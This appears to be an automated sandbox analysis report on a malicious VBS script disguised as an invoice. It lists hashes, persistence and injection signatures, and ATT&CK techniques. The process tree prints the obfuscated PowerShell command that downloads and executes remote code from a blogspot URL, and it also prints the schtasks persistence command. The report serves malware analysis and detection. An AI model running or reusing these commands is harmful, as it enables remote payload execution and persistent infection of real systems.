e5fbda4b9b341ba504f31522dd0a204ce7c56c2ff288aba7463c7dc06a6eec36

Analysis

max time kernel
13s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
18/08/2023, 13:19

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General

Target

lnvoice#84398 .vbs
Size

742KB
MD5

f5a9780ca06cfd76ac732679199669ce
SHA1

23d08435097e4dcc6b81f93fa01e05c9da950314
SHA256

e5fbda4b9b341ba504f31522dd0a204ce7c56c2ff288aba7463c7dc06a6eec36
SHA512

3b7a31f73eb07890bb4fd593a1373d71577022c5181636ac09b6b6b349a4b9a61d7985f8d7b2be409fbb247ea6e07bf2d4ee21f76451025a129c2fa6f7cb15a1
SSDEEP

48:8000000X0G35q43/ZiG6UZX1Nd3B3U43C6K3541NN+w53B464Swf3ZZNNfSmqXXT:HRC

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	3332	powershell.exe
10	3332	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kilng.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kilng.vbs	powershell.exe

Registers COM server for autorun 1 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3332 set thread context of 3508	3332	powershell.exe	91
PID 3332 set thread context of 2452	3332	powershell.exe	92
PID 3332 set thread context of 3848	3332	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4676	schtasks.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3332	powershell.exe
3332	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3332	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1564 wrote to memory of 3332	1564	WScript.exe	81
PID 1564 wrote to memory of 3332	1564	WScript.exe	81
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 3508	3332	powershell.exe	91
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 2452	3332	powershell.exe	92
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 3848	3332	powershell.exe	93
PID 3332 wrote to memory of 4676	3332	powershell.exe	94
PID 3332 wrote to memory of 4676	3332	powershell.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lnvoice#84398 .vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c $((irm usabiz9s.blogspot.com/atom.xml) | .('{1}{0}'-f'MOOOT','I').replace('MOOOT','ex'))
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Registers COM server for autorun
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:3508
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
    3⤵
    PID:2452
- - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
    3⤵
    PID:3848
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 187 /tn clomepe /F /tr "wscript //nologo C:\\ProgramData\\TUKHAMTASSER\\kilng.vbs"
    3⤵
    - Creates scheduled task(s)
    PID:4676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\TUKHAMTASSER\kilng.vbs

Filesize
252B

MD5
21f034734cf5a764e68e655696c127e9

SHA1
c12867f065b91382d9537cfbbb58d65efe62bd3e

SHA256
3f9dedff42ad75ea6a7944816a5ceff216bd67bcc2175a6703787aec01b4233d

SHA512
cbfcb52377907c247436ccd1e3656729d0d380784f220e1ed05c7b1d3b5d52daaa44dc90adad07836dca5c02a88a435b71d07dde9775a361d5f6975778ef5113

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exvfp1ow.xcj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2452-151-0x0000000000400000-0x0000000000474000-memory.dmp

Filesize
464KB

Download
memory/3332-133-0x000001AF798F0000-0x000001AF79912000-memory.dmp

Filesize
136KB

Download
memory/3332-143-0x00007FFE8AFF0000-0x00007FFE8BAB1000-memory.dmp

Filesize
10.8MB

Download
memory/3332-144-0x000001AF78AE0000-0x000001AF78AF0000-memory.dmp

Filesize
64KB

Download
memory/3332-145-0x000001AF79FE0000-0x000001AF7A1A2000-memory.dmp

Filesize
1.8MB

Download
memory/3332-147-0x00007FFE8AFF0000-0x00007FFE8BAB1000-memory.dmp

Filesize
10.8MB

Download
memory/3332-148-0x000001AF78AE0000-0x000001AF78AF0000-memory.dmp

Filesize
64KB

Download
memory/3332-149-0x000001AF79E10000-0x000001AF79E2A000-memory.dmp

Filesize
104KB

Download